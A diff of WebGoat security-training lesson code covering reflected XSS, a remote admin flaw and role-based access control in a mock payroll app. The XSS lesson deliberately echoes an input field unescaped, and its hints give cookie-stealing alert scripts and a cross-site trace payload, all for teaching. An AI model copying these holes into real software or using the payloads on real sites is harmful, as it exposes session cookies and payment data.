new Input(Input.TEXT, "QTY2", s.getParser() new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
.getStringParameter("QTY2", "1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f); quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f; total = quantity * 27.99f;
@ -140,13 +130,11 @@ public class ReflectedXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel Centrino"));
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel Centrino"));
tr.addElement(new TD().addElement("1599.99").setAlign("right")); tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser() new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
.getStringParameter("QTY3", "1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f); quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f; total = quantity * 1599.99f;
@ -154,14 +142,12 @@ public class ReflectedXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right")); tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser() new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
.getStringParameter("QTY4", "1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f); quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f; total = quantity * 299.99f;
@ -171,8 +157,7 @@ public class ReflectedXSS extends LessonAdapter
ec.addElement(t); ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -182,40 +167,32 @@ public class ReflectedXSS extends LessonAdapter
ec.addElement(new BR()); ec.addElement(new BR());
tr = new TR(); tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("The total charged to your credit card:"));
.addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal)); tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart")));
.makeButton("Update Cart")));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("Enter your credit card number:"));
.addElement(new TD() tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
.addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("Enter your three digit access code:"));
.addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input name='field1' type='TEXT' value='" + param1 + "'>")); tr.addElement(new TD().addElement("<input name='field1' type='TEXT' value='" + param1 + "'>"));
// tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1))); // tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr); t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase"); Element b = ECSFactory.makeButton("Purchase");
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign( tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
"center"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -223,7 +200,6 @@ public class ReflectedXSS extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
@ -234,7 +210,6 @@ public class ReflectedXSS extends LessonAdapter
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
@ -243,13 +218,10 @@ public class ReflectedXSS extends LessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("A simple script is &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.");
.add("A simple script is &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.");
hints.add("Can you get the script to disclose the JSESSIONID cookie?"); hints.add("Can you get the script to disclose the JSESSIONID cookie?");
hints hints.add("You can use &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; to access the session id cookie");
.add("You can use &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; to access the session id cookie"); hints.add("Can you get the script to access the credit card form field?");
hints
.add("Can you get the script to access the credit card form field?");
hints hints
.add("Try a cross site trace (XST) Command:<br>" .add("Try a cross site trace (XST) Command:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)" + "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
@ -259,8 +231,10 @@ public class ReflectedXSS extends LessonAdapter
return hints; return hints;
} }
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script> // = new
// ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
// xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
/** /**
* Gets the instructions attribute of the WeakAccessControl object * Gets the instructions attribute of the WeakAccessControl object
* *
@ -274,13 +248,11 @@ public class ReflectedXSS extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *

43
main/project/JavaSource/org/owasp/webgoat/lessons/RemoteAdminFlaw.java
View File

@ -1,38 +1,37 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -45,7 +44,8 @@ public class RemoteAdminFlaw extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -65,7 +65,6 @@ public class RemoteAdminFlaw extends LessonAdapter
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
@ -76,7 +75,6 @@ public class RemoteAdminFlaw extends LessonAdapter
return Category.ACCESS_CONTROL; return Category.ACCESS_CONTROL;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
@ -87,7 +85,8 @@ public class RemoteAdminFlaw extends LessonAdapter
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("WebGoat has 2 admin interfaces."); hints.add("WebGoat has 2 admin interfaces.");
hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'"); hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'");
hints.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'"); hints
.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
hints.add("Follow the Source!"); hints.add("Follow the Source!");
return hints; return hints;
@ -95,13 +94,11 @@ public class RemoteAdminFlaw extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(160); private final static Integer DEFAULT_RANKING = new Integer(160);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *

96
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -13,32 +13,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -47,25 +46,19 @@ public class DeleteProfile extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public DeleteProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException, ValidationException
UnauthenticatedException, UnauthorizedException,
ValidationException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
+ RoleBasedAccessControl.USER_ID); int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
@ -74,13 +67,11 @@ public class DeleteProfile extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -92,15 +83,12 @@ public class DeleteProfile extends DefaultLessonAction
updateLessonStatus(s); updateLessonStatus(s);
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return RoleBasedAccessControl.LISTSTAFF_ACTION; return RoleBasedAccessControl.LISTSTAFF_ACTION;
} }
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId)
throws UnauthorizedException
{ {
try try
{ {
@ -109,27 +97,22 @@ public class DeleteProfile extends DefaultLessonAction
// System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
Statement statement = WebSession.getConnection(s) Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query); statement.executeUpdate(query);
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void deleteEmployeeProfile_BACKUP(WebSession s, int userId, int employeeId) throws UnauthorizedException
public void deleteEmployeeProfile_BACKUP(WebSession s, int userId,
int employeeId) throws UnauthorizedException
{ {
try try
{ {
@ -138,42 +121,35 @@ public class DeleteProfile extends DefaultLessonAction
// System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
Statement statement = WebSession.getConnection(s) Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query); statement.executeUpdate(query);
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
private void updateLessonStatus(WebSession s) private void updateLessonStatus(WebSession s)
{ {
// If the logged in user is not authorized to be here, stage 1 is complete. // If the logged in user is not authorized to be here, stage 1 is complete.
if (RoleBasedAccessControl.STAGE1.equals(getStage(s))) if (RoleBasedAccessControl.STAGE1.equals(getStage(s))) try
try
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
+ RoleBasedAccessControl.USER_ID);
if (!isAuthorized(s, userId, if (!isAuthorized(s, userId, RoleBasedAccessControl.DELETEPROFILE_ACTION))
RoleBasedAccessControl.DELETEPROFILE_ACTION))
{ {
setStageComplete(s, RoleBasedAccessControl.STAGE1); setStageComplete(s, RoleBasedAccessControl.STAGE1);
} }
} catch (ParameterNotFoundException e)
{
} }
catch (ParameterNotFoundException e)
{}
} }
} }

143
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/EditProfile.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -12,73 +12,65 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class EditProfile extends DefaultLessonAction public class EditProfile extends DefaultLessonAction
{ {
public EditProfile(GoatHillsFinancial lesson, String lessonName, public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException
UnauthenticatedException, UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getUserId(s); int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter( int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
RoleBasedAccessControl.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return RoleBasedAccessControl.EDITPROFILE_ACTION; return RoleBasedAccessControl.EDITPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
@ -89,43 +81,31 @@ public class EditProfile extends DefaultLessonAction
try try
{ {
PreparedStatement answer_statement = WebSession PreparedStatement answer_statement = WebSession.getConnection(s)
.getConnection(s).prepareStatement(query, .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
@ -134,12 +114,11 @@ public class EditProfile extends DefaultLessonAction
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{ {
// Query the database to determine if this employee has access to this function // Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user // Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null; Employee profile = null;
@ -150,43 +129,31 @@ public class EditProfile extends DefaultLessonAction
try try
{ {
PreparedStatement answer_statement = WebSession PreparedStatement answer_statement = WebSession.getConnection(s)
.getConnection(s).prepareStatement(query, .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();

148
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
@ -19,32 +19,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
